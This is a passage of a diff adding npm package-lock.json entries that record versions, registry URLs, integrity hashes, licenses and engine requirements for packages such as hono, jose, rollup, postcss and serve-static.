"dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hono": { + "version": "4.12.30", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.30.tgz", + "integrity": "sha512-emn+JoJjrN9YTpRDS5it/UI2SO9BAE37T6I3d963RxcZ81G9A4pr2SZTEiiaiKbzx+NKRg5BZ89fCL7gCJCUog==", + "license": "MIT", + "engines": { + "node": ">=16.9.0" + } + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/iconv-lite": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", + "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ip-address": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.2.0.tgz", + "integrity": "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/jose": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.3.tgz", + "integrity": "sha512-YYVDInQKFJfR/xa3ojUTl8c2KoTwiL1R5Wg9YCydwH0x0B9grbzlg5HC7mMjCtUJjbQ/YnGEZIhI5tCgfTb4Hw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/joycon": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/joycon/-/joycon-3.1.1.tgz", + "integrity": "sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/json-schema-typed": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", + "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==", + "license": "BSD-2-Clause" + }, + "node_modules/lilconfig": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true, + "license": "MIT" + }, + "node_modules/load-tsconfig": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/load-tsconfig/-/load-tsconfig-0.2.5.tgz", + "integrity": "sha512-IXO6OCs9yg8tMKzfPZ1YmheJbZCiEsnBdcB03l0OcfK9prKnJb96siuHCr5Fl37/yo9DnKU+TLpxzTUspw9shg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/loupe": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/loupe/-/loupe-3.2.1.tgz", + "integrity": "sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/media-typer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz", + "integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/mlly": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/mlly/-/mlly-1.8.2.tgz", + "integrity": "sha512-d+ObxMQFmbt10sretNDytwt85VrbkhhUA/JBGm1MPaWJ65Cl4wOgLaB1NYvJSZ0Ef03MMEU/0xpPMXUIQ29UfA==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.16.0", + "pathe": "^2.0.3", + "pkg-types": "^1.3.1", + "ufo": "^1.6.3" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/mute-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-2.0.0.tgz", + "integrity": "sha512-WWdIxpyjEn+FhQJQQv9aQAYlHoNVdzIzUySNV1gHUPDSdZJ3yZn7pAAbQcV7B56Mvu881q9FZV+0Vx2xC44VWA==", + "license": "ISC", + "engines": { + "node": "^18.17.0 || >=20.5.0" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.16", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz", + "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/negotiator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz", + "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/pathval": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-2.0.1.tgz", + "integrity": "sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.16" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz", + "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pirates": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", + "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkce-challenge": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz", + "integrity": "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==", + "license": "MIT", + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/pkg-types": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-1.3.1.tgz", + "integrity": "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.1.8", + "mlly": "^1.7.4", + "pathe": "^2.0.1" + } + }, + "node_modules/postcss": { + "version": "8.5.19", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.19.tgz", + "integrity": "sha512-Mz8SaolMd8nB+G13WkORcxQKHZ/NE4xXevtkJHVuG+guo9/wYKlIMTKAqGdEmYOXR2ijPjTYNHssizdaVSUNdQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-load-config": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", + "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "lilconfig": "^3.1.1" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "jiti": ">=1.21.0", + "postcss": ">=8.0.9", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + }, + "postcss": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/qs": { + "version": "6.15.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.3.tgz", + "integrity": "sha512-O9gl3zCl5h5blw1KGUzQKhA5oUXSl8rwUIM5o0S3nCXMliSvy5Dzx7/DJcI+SwgICv+IneSZwhBh1oSyEHA71A==", + "license": "BSD-3-Clause", + "dependencies": { + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", + "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/readdirp": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz", + "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.18.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/rollup": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.62.2.tgz", + "integrity": "sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.9" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.62.2", + "@rollup/rollup-android-arm64": "4.62.2", + "@rollup/rollup-darwin-arm64": "4.62.2", + "@rollup/rollup-darwin-x64": "4.62.2", + "@rollup/rollup-freebsd-arm64": "4.62.2", + "@rollup/rollup-freebsd-x64": "4.62.2", + "@rollup/rollup-linux-arm-gnueabihf": "4.62.2", + "@rollup/rollup-linux-arm-musleabihf": "4.62.2", + "@rollup/rollup-linux-arm64-gnu": "4.62.2", + "@rollup/rollup-linux-arm64-musl": "4.62.2", + "@rollup/rollup-linux-loong64-gnu": "4.62.2", + "@rollup/rollup-linux-loong64-musl": "4.62.2", + "@rollup/rollup-linux-ppc64-gnu": "4.62.2", + "@rollup/rollup-linux-ppc64-musl": "4.62.2", + "@rollup/rollup-linux-riscv64-gnu": "4.62.2", + "@rollup/rollup-linux-riscv64-musl": "4.62.2", + "@rollup/rollup-linux-s390x-gnu": "4.62.2", + "@rollup/rollup-linux-x64-gnu": "4.62.2", + "@rollup/rollup-linux-x64-musl": "4.62.2", + "@rollup/rollup-openbsd-x64": "4.62.2", + "@rollup/rollup-openharmony-arm64": "4.62.2", + "@rollup/rollup-win32-arm64-msvc": "4.62.2", + "@rollup/rollup-win32-ia32-msvc": "4.62.2", + "@rollup/rollup-win32-x64-gnu": "4.62.2", + "@rollup/rollup-win32-x64-msvc": "4.62.2", + "fsevents": "~2.3.2" + } + }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + 